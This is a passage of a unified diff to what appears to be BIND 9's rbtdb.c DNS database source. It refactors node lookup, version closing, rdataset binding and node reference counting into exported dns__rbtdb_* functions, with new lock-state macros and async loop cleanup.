+			dns_rbtdb_version_t *cur_version = NULL;
 
 			INSIST(version->commit_ok);
 			INSIST(version == rbtdb->future_version);
@@ -2659,9 +1909,10 @@ closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
 	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
 
 	if (cleanup_version != NULL) {
+		isc_refcount_destroy(&cleanup_version->references);
 		INSIST(EMPTY(cleanup_version->changed_list));
 		free_gluetable(cleanup_version);
-		isc_rwlock_destroy(&cleanup_version->glue_rwlock);
+		cds_wfs_destroy(&cleanup_version->glue_stack);
 		isc_rwlock_destroy(&cleanup_version->rwlock);
 		isc_mem_put(rbtdb->common.mctx, cleanup_version,
 			    sizeof(*cleanup_version));
@@ -2671,224 +1922,140 @@ closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
 	 * Commit/rollback re-signed headers.
 	 */
 	for (header = HEAD(resigned_list); header != NULL;
-	     header = HEAD(resigned_list)) {
-		nodelock_t *lock;
+	     header = HEAD(resigned_list))
+	{
+		isc_rwlock_t *lock = NULL;
+		isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
 		ISC_LIST_UNLINK(resigned_list, header, link);
 
-		lock = &rbtdb->node_locks[header->node->locknum].lock;
-		NODE_LOCK(lock, isc_rwlocktype_write);
+		lock = &rbtdb->node_locks[HEADER_NODE(header)->locknum].lock;
+		NODE_WRLOCK(lock, &nlocktype);
 		if (rollback && !IGNORE(header)) {
-			isc_result_t result;
-			result = resign_insert(rbtdb, header->node->locknum,
-					       header);
-			if (result != ISC_R_SUCCESS) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_ZONE, ISC_LOG_ERROR,
-					      "Unable to reinsert header to "
-					      "re-signing heap: %s",
-					      dns_result_totext(result));
-			}
+			dns__zonedb_resigninsert(
+				rbtdb, HEADER_NODE(header)->locknum, header);
 		}
-		decrement_reference(rbtdb, header->node, least_serial,
-				    isc_rwlocktype_write, isc_rwlocktype_none,
-				    false);
-		NODE_UNLOCK(lock, isc_rwlocktype_write);
+		dns__rbtdb_decref(rbtdb, HEADER_NODE(header), least_serial,
+				  &nlocktype, &tlocktype, true,
+				  false DNS__DB_FLARG_PASS);
+		NODE_UNLOCK(lock, &nlocktype);
+		INSIST(tlocktype == isc_rwlocktype_none);
 	}
 
 	if (!EMPTY(cleanup_list)) {
-		isc_event_t *event = NULL;
-		isc_rwlocktype_t tlock = isc_rwlocktype_none;
-
-		if (rbtdb->task != NULL) {
-			event = isc_event_allocate(rbtdb->common.mctx, NULL,
-						   DNS_EVENT_RBTDEADNODES,
-						   cleanup_dead_nodes_callback,
-						   rbtdb, sizeof(isc_event_t));
-		}
-		if (event == NULL) {
+		isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+
+		if (rbtdb->loop == NULL) {
 			/*
 			 * We acquire a tree write lock here in order to make
 			 * sure that stale nodes will be removed in
-			 * decrement_reference().  If we didn't have the lock,
+			 * dns__rbtdb_decref().  If we didn't have the lock,
 			 * those nodes could miss the chance to be removed
 			 * until the server stops.  The write lock is
-			 * expensive, but this event should be rare enough
+			 * expensive, but this should be rare enough
 			 * to justify the cost.
 			 */
-			RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-			tlock = isc_rwlocktype_write;
+			TREE_WRLOCK(&rbtdb->tree_lock, &tlocktype);
 		}
 
 		for (changed = HEAD(cleanup_list); changed != NULL;
-		     changed = next_changed) {
-			nodelock_t *lock;
+		     changed = next_changed)
+		{
+			isc_rwlock_t *lock = NULL;
+			isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
 			next_changed = NEXT(changed, link);
 			rbtnode = changed->node;
 			lock = &rbtdb->node_locks[rbtnode->locknum].lock;
 
-			NODE_LOCK(lock, isc_rwlocktype_write);
+			NODE_WRLOCK(lock, &nlocktype);
 			/*
 			 * This is a good opportunity to purge any dead nodes,
 			 * so use it.
 			 */
-			if (event == NULL) {
-				cleanup_dead_nodes(rbtdb, rbtnode->locknum);
+			if (rbtdb->loop == NULL) {
+				cleanup_dead_nodes(
+					rbtdb,
+					rbtnode->locknum DNS__DB_FLARG_PASS);
 			}
 
 			if (rollback) {
 				rollback_node(rbtnode, serial);
 			}
-			decrement_reference(rbtdb, rbtnode, least_serial,
-					    isc_rwlocktype_write, tlock, false);
+			dns__rbtdb_decref(rbtdb, rbtnode, least_serial,
+					  &nlocktype, &tlocktype, true,
+					  false DNS__DB_FILELINE);
 
-			NODE_UNLOCK(lock, isc_rwlocktype_write);
+			NODE_UNLOCK(lock, &nlocktype);
 
 			isc_mem_put(rbtdb->common.mctx, changed,
 				    sizeof(*changed));
 		}
-		if (event != NULL) {
-			isc_refcount_increment(&rbtdb->references);
-			isc_task_send(rbtdb->task, &event);
+		if (rbtdb->loop != NULL) {
+			isc_refcount_increment(&rbtdb->common.references);
+			isc_async_run(rbtdb->loop, cleanup_dead_nodes_callback,
+				      rbtdb);
 		} else {
-			RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
+			TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 		}
+
+		INSIST(tlocktype == isc_rwlocktype_none);
 	}
 
 end:
 	*versionp = NULL;
 }
 
-/*
- * Add the necessary magic for the wildcard name 'name'
- * to be found in 'rbtdb'.
- *
- * In order for wildcard matching to work correctly in
- * zone_find(), we must ensure that a node for the wildcarding
- * level exists in the database, and has its 'find_callback'
- * and 'wild' bits set.
- *
- * E.g. if the wildcard name is "*.sub.example." then we
- * must ensure that "sub.example." exists and is marked as
- * a wildcard level.
- *
- * tree_lock(write) must be held.
- */
-static isc_result_t
-add_wildcard_magic(dns_rbtdb_t *rbtdb, const dns_name_t *name) {
-	isc_result_t result;
-	dns_name_t foundname;
-	dns_offsets_t offsets;
-	unsigned int n;
-	dns_rbtnode_t *node = NULL;
-
-	dns_name_init(&foundname, offsets);
-	n = dns_name_countlabels(name);
-	INSIST(n >= 2);
-	n--;
-	dns_name_getlabelsequence(name, 1, n, &foundname);
-	result = dns_rbt_addnode(rbtdb->tree, &foundname, &node);
-	if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
-		return (result);
-	}
-	if (result == ISC_R_SUCCESS) {
-		node->nsec = DNS_RBT_NSEC_NORMAL;
-	}
-	node->find_callback = 1;
-	node->wild = 1;
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * tree_lock(write) must be held.
- */
-static isc_result_t
-add_empty_wildcards(dns_rbtdb_t *rbtdb, const dns_name_t *name) {
-	isc_result_t result;
-	dns_name_t foundname;
-	dns_offsets_t offsets;
-	unsigned int n, l, i;
-
-	dns_name_init(&foundname, offsets);
-	n = dns_name_countlabels(name);
-	l = dns_name_countlabels(&rbtdb->common.origin);
-	i = l + 1;
-	while (i < n) {
-		dns_rbtnode_t *node = NULL; /* dummy */
-		dns_name_getlabelsequence(name, n - i, i, &foundname);
-		if (dns_name_iswildcard(&foundname)) {
-			result = add_wildcard_magic(rbtdb, &foundname);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-			result = dns_rbt_addnode(rbtdb->tree, &foundname,
-						 &node);
-			if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
-				return (result);
-			}
-			if (result == ISC_R_SUCCESS) {
-				node->nsec = DNS_RBT_NSEC_NORMAL;
-			}
-		}
-		i++;
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-findnodeintree(dns_rbtdb_t *rbtdb, dns_rbt_t *tree, const dns_name_t *name,
-	       bool create, dns_dbnode_t **nodep) {
+isc_result_t
+dns__rbtdb_findnodeintree(dns_rbtdb_t *rbtdb, dns_rbt_t *tree,
+			  const dns_name_t *name, bool create,
+			  dns_dbnode_t **nodep DNS__DB_FLARG) {
 	dns_rbtnode_t *node = NULL;
 	dns_name_t nodename;
 	isc_result_t result;
-	isc_rwlocktype_t locktype = isc_rwlocktype_read;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
 
 	INSIST(tree == rbtdb->tree || tree == rbtdb->nsec3);
 
 	dns_name_init(&nodename, NULL);
-	RWLOCK(&rbtdb->tree_lock, locktype);
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
 	result = dns_rbt_findnode(tree, name, NULL, &node, NULL,
 				  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
 	if (result != ISC_R_SUCCESS) {
-		RWUNLOCK(&rbtdb->tree_lock, locktype);
 		if (!create) {
 			if (result == DNS_R_PARTIALMATCH) {
 				result = ISC_R_NOTFOUND;
 			}
-			return (result);
+			goto unlock;
 		}
 		/*
-		 * It would be nice to try to upgrade the lock instead of
-		 * unlocking then relocking.
+		 * Try to upgrade the lock and if that fails unlock then relock.
 		 */
-		locktype = isc_rwlocktype_write;
-		RWLOCK(&rbtdb->tree_lock, locktype);
+		TREE_FORCEUPGRADE(&rbtdb->tree_lock, &tlocktype);
 		node = NULL;
 		result = dns_rbt_addnode(tree, name, &node);
 		if (result == ISC_R_SUCCESS) {
 			dns_rbt_namefromnode(node, &nodename);
 			node->locknum = node->hashval % rbtdb->node_lock_count;
 			if (tree == rbtdb->tree) {
-				add_empty_wildcards(rbtdb, name);
+				dns__zonedb_addwildcards(rbtdb, name, true);
 
 				if (dns_name_iswildcard(name)) {
-					result = add_wildcard_magic(rbtdb,
-								    name);
+					result = dns__zonedb_wildcardmagic(
+						rbtdb, name, true);
 					if (result != ISC_R_SUCCESS) {
-						RWUNLOCK(&rbtdb->tree_lock,
-							 locktype);
-						return (result);
+						goto unlock;
 					}
 				}
 			}
 			if (tree == rbtdb->nsec3) {
 				node->nsec = DNS_RBT_NSEC_NSEC3;
 			}
-		} else if (result != ISC_R_EXISTS) {
-			RWUNLOCK(&rbtdb->tree_lock, locktype);
-			return (result);
+		} else if (result == ISC_R_EXISTS) {
+			result = ISC_R_SUCCESS;
+		} else {
+			goto unlock;
 		}
 	}
 
@@ -2896,188 +2063,31 @@ findnodeintree(dns_rbtdb_t *rbtdb, dns_rbt_t *tree, const dns_name_t *name,
 		INSIST(node->nsec == DNS_RBT_NSEC_NSEC3);
 	}
 
-	reactivate_node(rbtdb, node, locktype);
-
-	RWUNLOCK(&rbtdb->tree_lock, locktype);
+	reactivate_node(rbtdb, node, tlocktype DNS__DB_FLARG_PASS);
 
 	*nodep = (dns_dbnode_t *)node;
+unlock:
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-findnode(dns_db_t *db, const dns_name_t *name, bool create,
-	 dns_dbnode_t **nodep) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	return (findnodeintree(rbtdb, rbtdb->tree, name, create, nodep));
+	return (result);
 }
 
-static isc_result_t
-findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
-	      dns_dbnode_t **nodep) {
+isc_result_t
+dns__rbtdb_findnode(dns_db_t *db, const dns_name_t *name, bool create,
+		    dns_dbnode_t **nodep DNS__DB_FLARG) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
 
-	return (findnodeintree(rbtdb, rbtdb->nsec3, name, create, nodep));
-}
-
-static isc_result_t
-zone_zonecut_callback(dns_rbtnode_t *node, dns_name_t *name, void *arg) {
-	rbtdb_search_t *search = arg;
-	rdatasetheader_t *header, *header_next;
-	rdatasetheader_t *dname_header, *sigdname_header, *ns_header;
-	rdatasetheader_t *found;
-	isc_result_t result;
-	dns_rbtnode_t *onode;
-
-	/*
-	 * We only want to remember the topmost zone cut, since it's the one
-	 * that counts, so we'll just continue if we've already found a
-	 * zonecut.
-	 */
-	if (search->zonecut != NULL) {
-		return (DNS_R_CONTINUE);
-	}
-
-	found = NULL;
-	result = DNS_R_CONTINUE;
-	onode = search->rbtdb->origin_node;
-
-	NODE_LOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-		  isc_rwlocktype_read);
-
-	/*
-	 * Look for an NS or DNAME rdataset active in our version.
-	 */
-	ns_header = NULL;
-	dname_header = NULL;
-	sigdname_header = NULL;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (header->type == dns_rdatatype_ns ||
-		    header->type == dns_rdatatype_dname ||
-		    header->type == RBTDB_RDATATYPE_SIGDNAME)
-		{
-			do {
-				if (header->serial <= search->serial &&
-				    !IGNORE(header)) {
-					/*
-					 * Is this a "this rdataset doesn't
-					 * exist" record?
-					 */
-					if (NONEXISTENT(header)) {
-						header = NULL;
-					}
-					break;
-				} else {
-					header = header->down;
-				}
-			} while (header != NULL);
-			if (header != NULL) {
-				if (header->type == dns_rdatatype_dname) {
-					dname_header = header;
-				} else if (header->type ==
-					   RBTDB_RDATATYPE_SIGDNAME) {
-					sigdname_header = header;
-				} else if (node != onode ||
-					   IS_STUB(search->rbtdb)) {
-					/*
-					 * We've found an NS rdataset that
-					 * isn't at the origin node.  We check
-					 * that they're not at the origin node,
-					 * because otherwise we'd erroneously
-					 * treat the zone top as if it were
-					 * a delegation.
-					 */
-					ns_header = header;
-				}
-			}
-		}
-	}
-
-	/*
-	 * Did we find anything?
-	 */
-	if (!IS_CACHE(search->rbtdb) && !IS_STUB(search->rbtdb) &&
-	    ns_header != NULL) {
-		/*
-		 * Note that NS has precedence over DNAME if both exist
-		 * in a zone.  Otherwise DNAME take precedence over NS.
-		 */
-		found = ns_header;
-		search->zonecut_sigrdataset = NULL;
-	} else if (dname_header != NULL) {
-		found = dname_header;
-		search->zonecut_sigrdataset = sigdname_header;
-	} else if (ns_header != NULL) {
-		found = ns_header;
-		search->zonecut_sigrdataset = NULL;
-	}
-
-	if (found != NULL) {
-		/*
-		 * We increment the reference count on node to ensure that
-		 * search->zonecut_rdataset will still be valid later.
-		 */
-		new_reference(search->rbtdb, node, isc_rwlocktype_read);
-		search->zonecut = node;
-		search->zonecut_rdataset = found;
-		search->need_cleanup = true;
-		/*
-		 * Since we've found a zonecut, anything beneath it is
-		 * glue and is not subject to wildcard matching, so we
-		 * may clear search->wild.
-		 */
-		search->wild = false;
-		if ((search->options & DNS_DBFIND_GLUEOK) == 0) {
-			/*
-			 * If the caller does not want to find glue, then
-			 * this is the best answer and the search should
-			 * stop now.
-			 */
-			result = DNS_R_PARTIALMATCH;
-		} else {
-			dns_name_t *zcname;
-
-			/*
-			 * The search will continue beneath the zone cut.
-			 * This may or may not be the best match.  In case it
-			 * is, we need to remember the node name.
-			 */
-			zcname = dns_fixedname_name(&search->zonecut_name);
-			dns_name_copy(name, zcname);
-			search->copy_name = true;
-		}
-	} else {
-		/*
-		 * There is no zonecut at this node which is active in this
-		 * version.
-		 *
-		 * If this is a "wild" node and the caller hasn't disabled
-		 * wildcard matching, remember that we've seen a wild node
-		 * in case we need to go searching for wildcard matches
-		 * later on.
-		 */
-		if (node->wild && (search->options & DNS_DBFIND_NOWILD) == 0) {
-			search->wild = true;
-		}
-	}
-
-	NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-		    isc_rwlocktype_read);
-
-	return (result);
+	return (dns__rbtdb_findnodeintree(rbtdb, rbtdb->tree, name, create,
+					  nodep DNS__DB_FLARG_PASS));
 }
 
-static inline void
-bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
-	      isc_stdtime_t now, isc_rwlocktype_t locktype,
-	      dns_rdataset_t *rdataset) {
-	unsigned char *raw; /* RDATASLAB */
+void
+dns__rbtdb_bindrdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+			dns_slabheader_t *header, isc_stdtime_t now,
+			isc_rwlocktype_t locktype,
+			dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	bool stale = STALE(header);
 	bool ancient = ANCIENT(header);
 
@@ -3093,7 +2103,7 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 		return;
 	}
 
-	new_reference(rbtdb, node, locktype);
+	dns__rbtdb_newref(rbtdb, node, locktype DNS__DB_FLARG_PASS);
 
 	INSIST(rdataset->methods == NULL); /* We must be disassociated. */
 
@@ -3101,7 +2111,7 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 	 * Mark header stale or ancient if the RRset is no longer active.
 	 */
 	if (!ACTIVE(header, now)) {
-		dns_ttl_t stale_ttl = header->rdh_ttl + rbtdb->serve_stale_ttl;
+		dns_ttl_t stale_ttl = header->ttl + STALE_TTL(header, rbtdb);
 		/*
 		 * If this data is in the stale window keep it and if
 		 * DNS_DBFIND_STALEOK is not set we tell the caller to
@@ -3120,11 +2130,11 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 		}
 	}
 
-	rdataset->methods = &rdataset_methods;
+	rdataset->methods = &dns_rdataslab_rdatasetmethods;
 	rdataset->rdclass = rbtdb->common.rdclass;
-	rdataset->type = RBTDB_RDATATYPE_BASE(header->type);
-	rdataset->covers = RBTDB_RDATATYPE_EXT(header->type);
-	rdataset->ttl = header->rdh_ttl - now;
+	rdataset->type = DNS_TYPEPAIR_TYPE(header->type);
+	rdataset->covers = DNS_TYPEPAIR_COVERS(header->type);
+	rdataset->ttl = header->ttl - now;
 	rdataset->trust = header->trust;
 
 	if (NEGATIVE(header)) {
@@ -3141,7 +2151,7 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 	}
 
 	if (stale && !ancient) {
-		dns_ttl_t stale_ttl = header->rdh_ttl + rbtdb->serve_stale_ttl;
+		dns_ttl_t stale_ttl = header->ttl + STALE_TTL(header, rbtdb);
 		if (stale_ttl > now) {
 			rdataset->ttl = stale_ttl - now;
 		} else {
@@ -3153,33 +2163,26 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 		rdataset->attributes |= DNS_RDATASETATTR_STALE;
 	} else if (IS_CACHE(rbtdb) && !ACTIVE(header, now)) {
 		rdataset->attributes |= DNS_RDATASETATTR_ANCIENT;
-		rdataset->ttl = header->rdh_ttl;
+		rdataset->ttl = header->ttl;
 	}
 
-	rdataset->private1 = rbtdb;
-	rdataset->private2 = node;
-	raw = (unsigned char *)header + sizeof(*header);
-	rdataset->private3 = raw;
 	rdataset->count = atomic_fetch_add_relaxed(&header->count, 1);
-	if (rdataset->count == UINT32_MAX) {
-		rdataset->count = 0;
-	}
 
-	/*
-	 * Reset iterator state.
-	 */
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
+	rdataset->slab.db = (dns_db_t *)rbtdb;
+	rdataset->slab.node = (dns_dbnode_t *)node;
+	rdataset->slab.raw = dns_slabheader_raw(header);
+	rdataset->slab.iter_pos = NULL;
+	rdataset->slab.iter_count = 0;
 
 	/*
 	 * Add noqname proof.
 	 */
-	rdataset->private6 = header->noqname;
-	if (rdataset->private6 != NULL) {
+	rdataset->slab.noqname = header->noqname;
+	if (header->noqname != NULL) {
 		rdataset->attributes |= DNS_RDATASETATTR_NOQNAME;
 	}
-	rdataset->private7 = header->closest;
-	if (rdataset->private7 != NULL) {
+	rdataset->slab.closest = header->closest;
+	if (header->closest != NULL) {
 		rdataset->attributes |= DNS_RDATASETATTR_CLOSEST;
 	}
 
@@ -3194,6498 +2197,2075 @@ bind_rdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, rdatasetheader_t *header,
 	}
 }
 
-static inline isc_result_t
-setup_delegation(rbtdb_search_t *search, dns_dbnode_t **nodep,
-		 dns_name_t *foundname, dns_rdataset_t *rdataset,
-		 dns_rdataset_t *sigrdataset) {
-	dns_name_t *zcname;
-	rbtdb_rdatatype_t type;
-	dns_rbtnode_t *node;
-
-	/*
-	 * The caller MUST NOT be holding any node locks.
-	 */
+void
+dns__rbtdb_attachnode(dns_db_t *db, dns_dbnode_t *source,
+		      dns_dbnode_t **targetp DNS__DB_FLARG) {
+	REQUIRE(VALID_RBTDB((dns_rbtdb_t *)db));
+	REQUIRE(targetp != NULL && *targetp == NULL);
 
-	node = search->zonecut;
-	type = search->zonecut_rdataset->type;
+	dns_rbtnode_t *node = (dns_rbtnode_t *)source;
+	uint_fast32_t refs = isc_refcount_increment(&node->references);
 
-	/*
-	 * If we have to set foundname, we do it before anything else.
-	 * If we were to set foundname after we had set nodep or bound the
-	 * rdataset, then we'd have to undo that work if dns_name_copy()
-	 * failed.  By setting foundname first, there's nothing to undo if
-	 * we have trouble.
-	 */
-	if (foundname != NULL && search->copy_name) {
-		zcname = dns_fixedname_name(&search->zonecut_name);
-		dns_name_copy(zcname, foundname);
-	}
-	if (nodep != NULL) {
-		/*
-		 * Note that we don't have to increment the node's reference
-		 * count here because we're going to use the reference we
-		 * already have in the search block.
-		 */
-		*nodep = node;
-		search->need_cleanup = false;
-	}
-	if (rdataset != NULL) {
-		NODE_LOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-		bind_rdataset(search->rbtdb, node, search->zonecut_rdataset,
-			      search->now, isc_rwlocktype_read, rdataset);
-		if (sigrdataset != NULL && search->zonecut_sigrdataset != NULL)
-		{
-			bind_rdataset(search->rbtdb, node,
-				      search->zonecut_sigrdataset, search->now,
-				      isc_rwlocktype_read, sigrdataset);
-		}
-		NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-	}
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "incr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs + 1);
+#else
+	UNUSED(refs);
+#endif
 
-	if (type == dns_rdatatype_dname) {
-		return (DNS_R_DNAME);
-	}
-	return (DNS_R_DELEGATION);
+	*targetp = source;
 }
 
-static inline bool
-valid_glue(rbtdb_search_t *search, dns_name_t *name, rbtdb_rdatatype_t type,
-	   dns_rbtnode_t *node) {
-	unsigned char *raw; /* RDATASLAB */
-	unsigned int count, size;
-	dns_name_t ns_name;
-	bool valid = false;
-	dns_offsets_t offsets;
-	isc_region_t region;
-	rdatasetheader_t *header;
+void
+dns__rbtdb_detachnode(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *node = NULL;
+	bool want_free = false;
+	bool inactive = false;
+	rbtdb_nodelock_t *nodelock = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
 
-	/*
-	 * No additional locking is required.
-	 */
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(targetp != NULL && *targetp != NULL);
 
-	/*
-	 * Valid glue types are A, AAAA, A6.  NS is also a valid glue type
-	 * if it occurs at a zone cut, but is not valid below it.
-	 */
-	if (type == dns_rdatatype_ns) {
-		if (node != search->zonecut) {
-			return (false);
-		}
-	} else if (type != dns_rdatatype_a && type != dns_rdatatype_aaaa &&
-		   type != dns_rdatatype_a6)
-	{
-		return (false);
-	}
+	node = (dns_rbtnode_t *)(*targetp);
+	nodelock = &rbtdb->node_locks[node->locknum];
 
-	header = search->zonecut_rdataset;
-	raw = (unsigned char *)header + sizeof(*header);
-	count = raw[0] * 256 + raw[1];
-	raw += DNS_RDATASET_COUNT + DNS_RDATASET_LENGTH;
+	NODE_RDLOCK(&nodelock->lock, &nlocktype);
 
-	while (count > 0) {
-		count--;
-		size = raw[0] * 256 + raw[1];
-		raw += DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
-		region.base = raw;
-		region.length = size;
-		raw += size;
-		/*
-		 * XXX Until we have rdata structures, we have no choice but
-		 * to directly access the rdata format.
-		 */
-		dns_name_init(&ns_name, offsets);
-		dns_name_fromregion(&ns_name, &region);
-		if (dns_name_compare(&ns_name, name) == 0) {
-			valid = true;
-			break;
+	if (dns__rbtdb_decref(rbtdb, node, 0, &nlocktype, &tlocktype, true,
+			      false DNS__DB_FLARG_PASS))
+	{
+		if (isc_refcount_current(&nodelock->references) == 0 &&
+		    nodelock->exiting)
+		{
+			inactive = true;
 		}
 	}
 
-	return (valid);
-}
-
-static inline bool
-activeempty(rbtdb_search_t *search, dns_rbtnodechain_t *chain,
-	    const dns_name_t *name) {
-	dns_fixedname_t fnext;
-	dns_fixedname_t forigin;
-	dns_name_t *next;
-	dns_name_t *origin;
-	dns_name_t prefix;
-	dns_rbtdb_t *rbtdb;
-	dns_rbtnode_t *node;
-	isc_result_t result;
-	bool answer = false;
-	rdatasetheader_t *header;
+	NODE_UNLOCK(&nodelock->lock, &nlocktype);
+	INSIST(tlocktype == isc_rwlocktype_none);
 
-	rbtdb = search->rbtdb;
-
-	dns_name_init(&prefix, NULL);
-	next = dns_fixedname_initname(&fnext);
-	origin = dns_fixedname_initname(&forigin);
+	*targetp = NULL;
 
-	result = dns_rbtnodechain_next(chain, NULL, NULL);
-	while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-		node = NULL;
-		result = dns_rbtnodechain_current(chain, &prefix, origin,
-						  &node);
-		if (result != ISC_R_SUCCESS) {
-			break;
+	if (inactive) {
+		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
+		rbtdb->active--;
+		if (rbtdb->active == 0) {
+			want_free = true;
 		}
-		NODE_LOCK(&(rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-		for (header = node->data; header != NULL; header = header->next)
-		{
-			if (header->serial <= search->serial &&
-			    !IGNORE(header) && EXISTS(header)) {
-				break;
+		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
+		if (want_free) {
+			char buf[DNS_NAME_FORMATSIZE];
+			if (dns_name_dynamic(&rbtdb->common.origin)) {
+				dns_name_format(&rbtdb->common.origin, buf,
+						sizeof(buf));
+			} else {
+				strlcpy(buf, "<UNKNOWN>", sizeof(buf));
 			}
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
+				      DNS_LOGMODULE_CACHE, ISC_LOG_DEBUG(1),
+				      "calling free_rbtdb(%s)", buf);
+			free_rbtdb(rbtdb, true);
 		}
-		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-		if (header != NULL) {
-			break;
-		}
-		result = dns_rbtnodechain_next(chain, NULL, NULL);
 	}
-	if (result == ISC_R_SUCCESS) {
-		result = dns_name_concatenate(&prefix, origin, next, NULL);
-	}
-	if (result == ISC_R_SUCCESS && dns_name_issubdomain(next, name)) {
-		answer = true;
+}
+
+isc_result_t
+dns__rbtdb_createiterator(dns_db_t *db, unsigned int options,
+			  dns_dbiterator_t **iteratorp) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	rbtdb_dbiterator_t *rbtdbiter = NULL;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	rbtdbiter = isc_mem_get(rbtdb->common.mctx, sizeof(*rbtdbiter));
+
+	rbtdbiter->common.methods = &dbiterator_methods;
+	rbtdbiter->common.db = NULL;
+	dns_db_attach(db, &rbtdbiter->common.db);
+	rbtdbiter->common.relative_names = ((options & DNS_DB_RELATIVENAMES) !=
+					    0);
+	rbtdbiter->common.magic = DNS_DBITERATOR_MAGIC;
+	rbtdbiter->paused = true;
+	rbtdbiter->tree_locked = isc_rwlocktype_none;
+	rbtdbiter->result = ISC_R_SUCCESS;
+	dns_fixedname_init(&rbtdbiter->name);
+	dns_fixedname_init(&rbtdbiter->origin);
+	rbtdbiter->node = NULL;
+	rbtdbiter->nsec3only = ((options & DNS_DB_NSEC3ONLY) != 0);
+	rbtdbiter->nonsec3 = ((options & DNS_DB_NONSEC3) != 0);
+	dns_rbtnodechain_init(&rbtdbiter->chain);
+	dns_rbtnodechain_init(&rbtdbiter->nsec3chain);
+	if (rbtdbiter->nsec3only) {
+		rbtdbiter->current = &rbtdbiter->nsec3chain;
+	} else {
+		rbtdbiter->current = &rbtdbiter->chain;
 	}
-	return (answer);
+
+	*iteratorp = (dns_dbiterator_t *)rbtdbiter;
+
+	return (ISC_R_SUCCESS);
 }
 
-static inline bool
-activeemptynode(rbtdb_search_t *search, const dns_name_t *qname,
-		dns_name_t *wname) {
-	dns_fixedname_t fnext;
-	dns_fixedname_t forigin;
-	dns_fixedname_t fprev;
-	dns_name_t *next;
-	dns_name_t *origin;
-	dns_name_t *prev;
-	dns_name_t name;
-	dns_name_t rname;
-	dns_name_t tname;
-	dns_rbtdb_t *rbtdb;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	bool check_next = true;
-	bool check_prev = true;
-	bool answer = false;
-	isc_result_t result;
-	rdatasetheader_t *header;
-	unsigned int n;
+isc_result_t
+dns__rbtdb_allrdatasets(dns_db_t *db, dns_dbnode_t *node,
+			dns_dbversion_t *version, unsigned int options,
+			isc_stdtime_t now,
+			dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_rbtdb_version_t *rbtversion = version;
+	rbtdb_rdatasetiter_t *iterator = NULL;
+	uint_fast32_t refs;
 
-	rbtdb = search->rbtdb;
+	REQUIRE(VALID_RBTDB(rbtdb));
 
-	dns_name_init(&name, NULL);
-	dns_name_init(&tname, NULL);
-	dns_name_init(&rname, NULL);
-	next = dns_fixedname_initname(&fnext);
-	prev = dns_fixedname_initname(&fprev);
